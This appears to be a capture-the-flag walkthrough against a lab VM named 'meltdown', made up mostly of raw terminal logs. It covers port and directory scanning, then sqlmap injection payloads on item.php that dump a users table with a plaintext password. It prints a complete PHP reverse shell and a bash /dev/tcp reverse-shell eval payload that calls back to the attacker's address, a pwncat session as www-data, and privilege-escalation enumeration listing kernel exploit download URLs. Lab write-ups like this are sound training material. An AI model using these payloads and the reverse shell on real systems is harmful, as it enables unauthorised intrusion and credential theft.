1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
4
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
5
192.168.0.102   08:00:27:99:3b:9e       (Unknown)

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.102
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-13 03:12 EST
4
Nmap scan report for 192.168.0.102
5
Host is up (0.00034s latency).
6
Not shown: 65534 closed tcp ports (conn-refused)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
9
| ssh-hostkey:
10
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
11
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
12
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
13
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
14
|_http-server-header: Apache/2.4.62 (Debian)
15
| http-cookie-flags:
16
|   /:
17
|     PHPSESSID:
18
|_      httponly flag not set
19
|_http-title: \xE7\x82\x89\xE5\xBF\x83\xE8\x9E\x8D\xE8\xA7\xA3
20
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
21

22
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23
Nmap done: 1 IP address (1 host up) scanned in 9.86 seconds

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# dirsearch -u http://192.168.0.102
3

4
  _|. _ _  _  _  _ _|_    v0.4.3.post1
5
 (_||| _) (/_(_|| (_| )
6

7
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
8

9
Output File: /home/kali/reports/http_192.168.0.102/_26-01-13_03-13-20.txt
10

11
Target: http://192.168.0.102/
12

13
[03:13:20] Starting:
14
[03:13:22] 403 -  278B  - /.ht_wsr.txt
15
[03:13:22] 403 -  278B  - /.htaccess.bak1
16
[03:13:22] 403 -  278B  - /.htaccess.save
17
[03:13:22] 403 -  278B  - /.htaccess.orig
18
[03:13:22] 403 -  278B  - /.htaccess_orig
19
[03:13:22] 403 -  278B  - /.htaccess_extra
20
[03:13:22] 403 -  278B  - /.htaccess.sample
21
[03:13:22] 403 -  278B  - /.htaccessBAK
22
[03:13:22] 403 -  278B  - /.htaccessOLD
23
[03:13:22] 403 -  278B  - /.htaccessOLD2
24
[03:13:22] 403 -  278B  - /.htaccess_sc
25
[03:13:22] 403 -  278B  - /.html
26
[03:13:22] 403 -  278B  - /.htm
27
[03:13:22] 403 -  278B  - /.htpasswd_test
28
[03:13:22] 403 -  278B  - /.htpasswds
29
[03:13:22] 403 -  278B  - /.httr-oauth
30
[03:13:23] 403 -  278B  - /.php
31
[03:13:41] 200 -    1B  - /config.php
32
[03:13:54] 200 -    2KB - /login.php
33
[03:13:55] 302 -    0B  - /logout.php  ->  index.php
34
[03:14:08] 403 -  278B  - /server-status/
35
[03:14:08] 403 -  278B  - /server-status
36

37
Task Completed

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
3
===============================================================
4
Gobuster v3.6
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://192.168.0.102
8
[+] Method:                  GET
9
[+] Threads:                 64
10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.6
13
[+] Extensions:              bak,js,yaml,php,txt,html,zip,db
14
[+] Timeout:                 10s
15
===============================================================
16
Starting gobuster in directory enumeration mode
17
===============================================================
18
/login.php            (Status: 200) [Size: 7488]
19
/index.php            (Status: 200) [Size: 4847]
20
/.php                 (Status: 403) [Size: 278]
21
/.html                (Status: 403) [Size: 278]
22
/item.php             (Status: 200) [Size: 477]
23
/logout.php           (Status: 302) [Size: 0] [--> index.php]
24
/config.php           (Status: 200) [Size: 1]
25
/.php                 (Status: 403) [Size: 278]
26
/.html                (Status: 403) [Size: 278]
27
/server-status        (Status: 403) [Size: 278]
28
Progress: 1985031 / 1985040 (100.00%)
29
===============================================================
30
Finished
31
===============================================================

1
<body>
2
    <div class="container">
3
        <header>
4
            <h1>🎵 炉心融解 🎵</h1>
5
            <p>VOCALOID</p>
6
        </header>
7

8
                    <div class="login-prompt">
9
                <p>🎯 <a href="login.php">请先登录以访问更多功能</a></p>
10
            </div>
11

12
        <section class="items-section">
13
            <h2>🔮 物品列表</h2>
14
            <ul class="items-list">
15
                <li><a href="item.php?id=1">炉心</a></li>            </ul>
16
        </section>
17

18
        <section class="characters-section">
19
            <h2>🌟 术曲人物介绍</h2>
20
            <div class="characters">
21
                <div class="character-card"><h3>初音ミク</h3><p>初音未来是Crypton Future Media以Yamaha的VOCALOID系列语音合成程序为基础开发的音源库，是术曲文化的重要代表人物。</p></div><div class="character-card"><h3>鏡音リン</h3><p>镜音铃是CRYPTON FUTURE MEDIA以Yamaha的VOCALOID 2语音合成引擎为基础开发的虚拟歌手，是术曲《炉心融解》的原唱。</p></div><div class="character-card"><h3>鏡音レン</h3><p>镜音连是镜音铃的搭档，同样是VOCALOID虚拟歌手，在众多术曲中与镜音铃合作演唱。</p></div><div class="character-card"><h3>巡音ルカ</h3><p>巡音流歌是CRYPTON FUTURE MEDIA以Yamaha的VOCALOID 2语音合成引擎为基础开发的虚拟女性歌手软件角色，音色成熟华丽。</p></div><div class="character-card"><h3>KAITO</h3><p>KAITO是CRYPTON FUTURE MEDIA发售的VOCALOID系列语音合成软件的虚拟歌手，是VOCALOID家族中的大哥角色。</p></div><div class="character-card"><h3>MEIKO</h3><p>MEIKO是CRYPTON FUTURE MEDIA发售的VOCALOID系列语音合成软件的虚拟歌手，是VOCALOID家族中的大姐角色。</p></div>            </div>
22
        </section>
23
    </div>
24
</body>

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# sqlmap -u http://192.168.0.102/item.php?id=1 --batch
3
        ___
4
       __H__
5
 ___ ___["]_____ ___ ___  {1.8.11#stable}
6
|_ -| . [)]     | .'| . |
7
|___|_  ["]_|_|_|__,|  _|
8
      |_|V...       |_|   https://sqlmap.org
9

10
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
11

12
[*] starting @ 03:23:21 /2026-01-13/
13

14
[03:23:22] [INFO] testing connection to the target URL
15
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=8ts85dvcp4g...20emrr2hlq'). Do you want to use those [Y/n] Y
16
[03:23:22] [INFO] testing if the target URL content is stable
17
[03:23:22] [INFO] target URL content is stable
18
[03:23:22] [INFO] testing if GET parameter 'id' is dynamic
19
[03:23:22] [INFO] GET parameter 'id' appears to be dynamic
20
[03:23:22] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
21
[03:23:22] [INFO] testing for SQL injection on GET parameter 'id'
22
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
23
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
24
[03:23:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
25
[03:23:22] [WARNING] reflective value(s) found and filtering out
26
[03:23:22] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="炉心")
27
[03:23:22] [INFO] testing 'Generic inline queries'
28
[03:23:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
29
[03:23:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
30
[03:23:22] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
31
[03:23:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
32
[03:23:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
33
[03:23:22] [INFO] GET parameter 'id' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
34
[03:23:22] [INFO] testing 'MySQL inline queries'
35
[03:23:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
36
[03:23:22] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)
37
[03:23:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
38
[03:23:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
39
[03:23:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
40
[03:23:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
41
[03:23:22] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
42
[03:23:22] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
43
[03:23:32] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
44
[03:23:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
45
[03:23:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
46
[03:23:32] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
47
[03:23:32] [INFO] target URL appears to have 3 columns in query
48
[03:23:32] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
49
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
50
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
51
---
52
Parameter: id (GET)
53
    Type: boolean-based blind
54
    Title: AND boolean-based blind - WHERE or HAVING clause
55
    Payload: id=1 AND 3043=3043
56

57
    Type: error-based
58
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
59
    Payload: id=1 AND GTID_SUBSET(CONCAT(0x71766a7671,(SELECT (ELT(3331=3331,1))),0x717a627171),3331)
60

61
    Type: time-based blind
62
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
63
    Payload: id=1 AND (SELECT 7672 FROM (SELECT(SLEEP(5)))Zqrt)
64

65
    Type: UNION query
66
    Title: Generic UNION query (NULL) - 3 columns
67
    Payload: id=-2775 UNION ALL SELECT NULL,CONCAT(0x71766a7671,0x6c42515241676a4e6c475851465077425276494644747a41654561676a4865465970566776727651,0x717a627171),NULL-- -
68
---
69
[03:23:32] [INFO] the back-end DBMS is MySQL
70
web server operating system: Linux Debian
71
web application technology: PHP, Apache 2.4.62
72
back-end DBMS: MySQL >= 5.6
73
[03:23:32] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.102'
74
[03:23:32] [WARNING] your sqlmap version is outdated
75

76
[*] ending @ 03:23:32 /2026-01-13/

1
sqlmap -u http://192.168.0.102/item.php?id=1 --dbs --batch
2

3
available databases [5]:
4
[*] information_schema
5
[*] mysql
6
[*] performance_schema
7
[*] sys
8
[*] target

1
sqlmap -u "http://192.168.0.102/item.php?id=1" \
2
  -D target --tables --batch
3

4
Database: target
5
[3 tables]
6
+------------+
7
| characters |
8
| items      |
9
| users      |
10
+------------+
11

12
[03:27:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.102'
13
[03:27:10] [WARNING] your sqlmap version is outdated
14

15
[*] ending @ 03:27:10 /2026-01-13

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# sqlmap -u "http://192.168.0.102/item.php?id=1" \
3
  -D target -T users -C id,password,username --dump --batch
4
        ___
5
       __H__
6
 ___ ___["]_____ ___ ___  {1.8.11#stable}
7
|_ -| . [.]     | .'| . |
8
|___|_  [,]_|_|_|__,|  _|
9
      |_|V...       |_|   https://sqlmap.org
10

11
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
12

13
[03:28:17] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'target'
14
Database: target
15
Table: users
16
[1 entry]
17
+----+----------+----------+
18
| id | password | username |
19
+----+----------+----------+
20
| 1  | rin123   | rin      |
21
+----+----------+----------+
22

23
[03:28:17] [INFO] table 'target.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.0.102/dump/target/users.csv'
24
[03:28:17] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.102'
25
[03:28:17] [WARNING] your sqlmap version is outdated
26

27
[*] ending @ 03:28:17 /2026-01-13/

1
<?php
2
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
3
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
4

5
set_time_limit (0);
6
$VERSION = "1.0";
7
$ip = '192.168.0.106';
8
$port = 8888;
9
$chunk_size = 1400;
10
$write_a = null;
11
$error_a = null;
12
$shell = 'uname -a; w; id; sh -i';
13
$daemon = 0;
14
$debug = 0;
15

16
if (function_exists('pcntl_fork')) {
17
  $pid = pcntl_fork();
18

19
  if ($pid == -1) {
20
    printit("ERROR: Can't fork");
21
    exit(1);
22
  }
23

24
  if ($pid) {
25
    exit(0);  // Parent exits
26
  }
27
  if (posix_setsid() == -1) {
28
    printit("Error: Can't setsid()");
29
    exit(1);
30
  }
31

32
  $daemon = 1;
33
} else {
34
  printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
35
}
36

37
chdir("/");
38

39
umask(0);
40

41
// Open reverse connection
42
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
43
if (!$sock) {
44
  printit("$errstr ($errno)");
45
  exit(1);
46
}
47

48
$descriptorspec = array(
49
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
50
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
51
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
52
);
53

54
$process = proc_open($shell, $descriptorspec, $pipes);
55

56
if (!is_resource($process)) {
57
  printit("ERROR: Can't spawn shell");
58
  exit(1);
59
}
60

61
stream_set_blocking($pipes[0], 0);
62
stream_set_blocking($pipes[1], 0);
63
stream_set_blocking($pipes[2], 0);
64
stream_set_blocking($sock, 0);
65

66
printit("Successfully opened reverse shell to $ip:$port");
67

68
while (1) {
69
  if (feof($sock)) {
70
    printit("ERROR: Shell connection terminated");
71
    break;
72
  }
73

74
  if (feof($pipes[1])) {
75
    printit("ERROR: Shell process terminated");
76
    break;
77
  }
78

79
  $read_a = array($sock, $pipes[1], $pipes[2]);
80
  $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
81

82
  if (in_array($sock, $read_a)) {
83
    if ($debug) printit("SOCK READ");
84
    $input = fread($sock, $chunk_size);
85
    if ($debug) printit("SOCK: $input");
86
    fwrite($pipes[0], $input);
87
  }
88

89
  if (in_array($pipes[1], $read_a)) {
90
    if ($debug) printit("STDOUT READ");
91
    $input = fread($pipes[1], $chunk_size);
92
    if ($debug) printit("STDOUT: $input");
93
    fwrite($sock, $input);
94
  }
95

96
  if (in_array($pipes[2], $read_a)) {
97
    if ($debug) printit("STDERR READ");
98
    $input = fread($pipes[2], $chunk_size);
99
    if ($debug) printit("STDERR: $input");
100
    fwrite($sock, $input);
101
  }
102
}
103

104
fclose($sock);
105
fclose($pipes[0]);
106
fclose($pipes[1]);
107
fclose($pipes[2]);
108
proc_close($process);
109

110
function printit ($string) {
111
  if (!$daemon) {
112
    print "$string\n";
113
  }
114
}
115

116
?>

1
Parse error: syntax error, unexpected token "<", expecting end of file in /var/www/html/item.php(15) : eval()'d code on line 1

1
eval('exec("/bin/bash -c \'bash -i >& /dev/tcp/192.168.0.106/8888 0>&1\'");');

1
┌──(web)─(root㉿kali)-[/home/kali]
2
└─# pwncat-cs -lp 8888
3
/root/.pyenv/versions/3.11.9/envs/web/lib/python3.11/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
4
  from pkg_resources import iter_entry_points
5
[03:38:48] Welcome to pwncat 🐈!                                                             __main__.py:164
6
[03:39:30] received connection from 192.168.0.102:48514                                           bind.py:84
7
[03:39:30] 192.168.0.102:48514: registered new host w/ db                                     manager.py:957
8
(local) pwncat$ back
9
(remote) www-data@meltdown:/var/www/html$ id
10
uid=33(www-data) gid=33(www-data) groups=33(www-data)
11
(remote) www-data@meltdown:/var/www/html$

1
(remote) www-data@meltdown:/etc/cron.d$ cat php
2
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
3
#  This purges session files in session.save_path older than X,
4
#  where X is defined in seconds as the largest value of
5
#  session.gc_maxlifetime from all your SAPI php.ini files
6
#  or 24 minutes if not defined.  The script triggers only
7
#  when session.save_handler=files.
8
#
9
#  WARNING: The scripts tries hard to honour all relevant
10
#  session PHP options, but if you do something unusual
11
#  you have to disable this script and take care of your
12
#  sessions yourself.
13

14
# Look for and purge old sessions every 30 minutes
15
09,39 *     * * *     root   [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
16

17
(remote) www-data@meltdown:/etc/cron.d$ find / -perm -4000 -type f 2>/dev/null
18
/usr/bin/chsh
19
/usr/bin/chfn
20
/usr/bin/newgrp
21
/usr/bin/gpasswd
22
/usr/bin/mount
23
/usr/bin/su
24
/usr/bin/umount
25
/usr/bin/pkexec
26
/usr/bin/sudo
27
/usr/bin/passwd
28
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
29
/usr/lib/eject/dmcrypt-get-device
30
/usr/lib/openssh/ssh-keysign
31
/usr/libexec/polkit-agent-helper-1
32

33
(remote) www-data@meltdown:/etc/cron.d$ ss -tulnp
34
Netid      State       Recv-Q      Send-Q             Local Address:Port             Peer Address:Port
35
udp        UNCONN      0           0                        0.0.0.0:68                    0.0.0.0:*
36
tcp        LISTEN      0           80                     127.0.0.1:3306                  0.0.0.0:*
37
tcp        LISTEN      0           128                      0.0.0.0:22                    0.0.0.0:*
38
tcp        LISTEN      0           128                            *:80                          *:*
39
tcp        LISTEN      0           128                         [::]:22 [::]:*
40

41
(remote) www-data@meltdown:/tmp$ env
42
HISTCONTROL=ignorespace
43
PWD=/tmp
44
APACHE_LOG_DIR=/var/log/apache2
45
LANG=C
46
INVOCATION_ID=03f1117977704453843954fe25f36bbd
47
APACHE_PID_FILE=/var/run/apache2/apache2.pid
48
TERM=xterm-256color
49
APACHE_RUN_GROUP=www-data
50
APACHE_LOCK_DIR=/var/lock/apache2
51
SHLVL=3
52
APACHE_RUN_DIR=/var/run/apache2
53
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
54
JOURNAL_STREAM=9:13571
55
APACHE_RUN_USER=www-data
56
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
57
_=/usr/bin/env
58
OLDPWD=/
59

60
(remote) www-data@meltdown:/tmp$ history
61

62
(remote) www-data@meltdown:/$ grep -ri password

1
rin@meltdown:~$ sudo -l
2
Matching Defaults entries for rin on meltdown:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5

6
User rin may run the following commands on meltdown:
7
    (root) NOPASSWD: /opt/repeater.sh

1
scp linpeas.sh rin@192.168.0.102:/tmp/

1
rin@meltdown:/tmp$ ./linpeas.sh
2

3
[+] /usr/bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)
4
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
5

6

7
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
8

9
                              ╔════════════════════╗
10
══════════════════════════════╣ System Information ╠══════════════════════════════
11
                              ╚════════════════════╝
12
╔══════════╣ Operative system
13
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
14
Linux version 4.19.0-27-amd64 (debian-kernel@lists.debian.org) (gcc version 8.3.0 (Debian 8.3.0-6)) #1 SMP Debian 4.19.316-1 (2024-06-25)
15
Distributor ID: Debian
16
Description:    Debian GNU/Linux 10 (buster)
17
Release:        10
18
Codename:       buster
19

20
╔══════════╣ Sudo version
21
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
22
Sudo version 1.9.5p2
23

24

25
╔══════════╣ PATH
26
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
27
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
28

29
╔══════════╣ Date & uptime
30
Tue 13 Jan 2026 04:24:25 AM EST
31
 04:24:25 up  1:12,  1 user,  load average: 0.08, 0.02, 0.21
32

33
╔══════════╣ Unmounted file-system?
34
╚ Check if you can mount umounted devices
35
UUID=80e68759-1ca0-45eb-82a7-601b1f78dfe5 /               ext4    errors=remount-ro 0       1
36
UUID=257f425d-1ea4-4b8e-8dd8-69523f25d249 none            swap    sw              0       0
37
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
38

39
╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
40
disk
41
sda
42
sda1
43
sda2
44
sda5
45

46
╔══════════╣ Environment
47
╚ Any private information inside environment variables?
48
USER=rin
49
SSH_CLIENT=192.168.0.106 49106 22
50
SHLVL=1
51
HOME=/home/rin
52
OLDPWD=/etc/cron.d
53
SSH_TTY=/dev/pts/1
54
LOGNAME=rin
55
_=./linpeas.sh
56
TERM=xterm-256color
57
XDG_RUNTIME_DIR=/run/user/1000
58
LANG=en_US.UTF-8
59
SHELL=/bin/bash
60
PWD=/tmp
61
SSH_CONNECTION=192.168.0.106 49106 192.168.0.102 22
62

63
╔══════════╣ Searching Signature verification failed in dmesg
64
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed
65
dmesg Not Found
66

67
╔══════════╣ Executing Linux Exploit Suggester
68
╚ https://github.com/mzet-/linux-exploit-suggester
69
[+] [CVE-2019-13272] PTRACE_TRACEME
70

71
   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
72
   Exposure: highly probable
73
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},[ debian=10{kernel:4.19.0-*} ],fedora=30{kernel:5.0.9-*}
74
   Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
75
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
76
   Comments: Requires an active PolKit agent.
77

78
[+] [CVE-2021-4034] PwnKit
79

80
   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
81
   Exposure: probable
82
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,[ debian=7|8|9|10|11 ],fedora,manjaro
83
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
84

85
[+] [CVE-2021-3156] sudo Baron Samedit
86

87
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
88
   Exposure: less probable
89
   Tags: mint=19,ubuntu=18|20, debian=10
90
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
91

92
[+] [CVE-2021-3156] sudo Baron Samedit 2
93

94
   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
95
   Exposure: less probable
96
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
97
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
98

99
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
100

101
   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
102
   Exposure: less probable
103
   Tags: ubuntu=20.04{kernel:5.8.0-*}
104
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
105
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
106
   Comments: ip_tables kernel module must be loaded
107

108

109
╔══════════╣ Protections
110
═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.
111
apparmor module is loaded.
112
═╣ AppArmor profile? .............. unconfined
113
═╣ is linuxONE? ................... s390x Not Found
114
═╣ grsecurity present? ............ grsecurity Not Found
115
═╣ PaX bins present? .............. PaX Not Found
116
═╣ Execshield enabled? ............ Execshield Not Found
117
═╣ SELinux enabled? ............... sestatus Not Found
118
═╣ Seccomp enabled? ............... disabled
119
═╣ User namespace? ................ enabled
120
═╣ Cgroup2 enabled? ............... enabled
121
═╣ Is ASLR enabled? ............... Yes
122
═╣ Printer? ....................... No
123
═╣ Is this a virtual machine? ..... Yes (oracle)
124

125
╔══════════╣ Kernel Modules Information
126
══╣ Kernel modules with weak perms?
127

128
══╣ Kernel modules loadable?
129
Modules can be loaded
130

131

132

133
                                   ╔═══════════╗
134
═══════════════════════════════════╣ Container ╠═══════════════════════════════════
135
                                   ╚═══════════╝
136
╔══════════╣ Container related tools present (if any):
137
/usr/sbin/apparmor_parser
138
/usr/bin/nsenter
139
/usr/bin/unshare
140
/usr/sbin/chroot
141
/usr/sbin/capsh
142
/usr/sbin/setcap
143
/usr/sbin/getcap
144

145
╔══════════╣ Container details
146
═╣ Is this a container? ........... No
147
═╣ Any running containers? ........ No
148

149

150

151
                                     ╔═══════╗
152
═════════════════════════════════════╣ Cloud ╠═════════════════════════════════════
153
                                     ╚═══════╝
154
Learn and practice cloud hacking techniques in https://training.hacktricks.xyz
155

156
═╣ GCP Virtual Machine? ................. No
157
═╣ GCP Cloud Funtion? ................... No
158
═╣ AWS ECS? ............................. No
159
═╣ AWS EC2? ............................. No
160
═╣ AWS EC2 Beanstalk? ................... No
161
═╣ AWS Lambda? .......................... No
162
═╣ AWS Codebuild? ....................... No
163
═╣ DO Droplet? .......................... No
164
═╣ IBM Cloud VM? ........................ No
165
═╣ Azure VM or Az metadata? ............. No
166
═╣ Azure APP or IDENTITY_ENDPOINT? ...... No
167
═╣ Azure Automation Account? ............ No
168
═╣ Aliyun ECS? .......................... No
169
═╣ Tencent CVM? ......................... No
170

171

172

173
                ╔════════════════════════════════════════════════╗
174
════════════════╣ Processes, Crons, Timers, Services and Sockets ╠════════════════
175
                ╚════════════════════════════════════════════════╝
176
╔══════════╣ Running processes (cleaned)
177
╚ Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
178
root           1  0.0  0.4  98848 10176 ?        Ss   03:12   0:00 /sbin/init
179
root         225  0.0  0.7  48996 14988 ?        Ss   03:12   0:00 /lib/systemd/systemd-journald
180
root         250  0.0  0.2  22280  5056 ?        Ss   03:12   0:00 /lib/systemd/systemd-udevd
181
systemd+     275  0.0  0.2  89036  5616 ?        Ssl  03:12   0:00 /lib/systemd/systemd-timesyncd
182
  └─(Caps) 0x0000000002000000=cap_sys_time
183
root         321  0.0  0.1   6736  2560 ?        Ss   03:12   0:00 /usr/sbin/cron -f
184
message+     322  0.0  0.2   7944  4172 ?        Ss   03:12   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
185
  └─(Caps) 0x0000000020000000=cap_audit_write
186
root         323  0.0  0.1 222784  3852 ?        Ssl  03:12   0:00 /usr/sbin/rsyslogd -n -iNONE
187
root         324  0.0  0.3  22540  7360 ?        Ss   03:12   0:00 /lib/systemd/systemd-logind
188
mysql        340  0.0  9.8 1097084 201824 ?      Ssl  03:12   0:02 /usr/local/mysql/bin/mysqld --defaults-file=/etc/my.cnf
189
root         350  0.0  0.0   5840  1616 tty1     Ss+  03:12   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
190
root         363  0.0  0.2   9588  5588 ?        Ss   03:12   0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
191
root         397  0.0  1.0 108880 20588 ?        Ssl  03:12   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
192
rin         1514  0.0  0.2  14508  5860 ?        S    04:16   0:00      _ sshd: rin@pts/1
193
rin         1515  0.0  0.1   7084  3736 pts/1    Ss   04:16   0:00          _ -bash
194
rin         1563  0.5  0.1   3420  2632 pts/1    S+   04:24   0:00              _ /bin/sh ./linpeas.sh
195
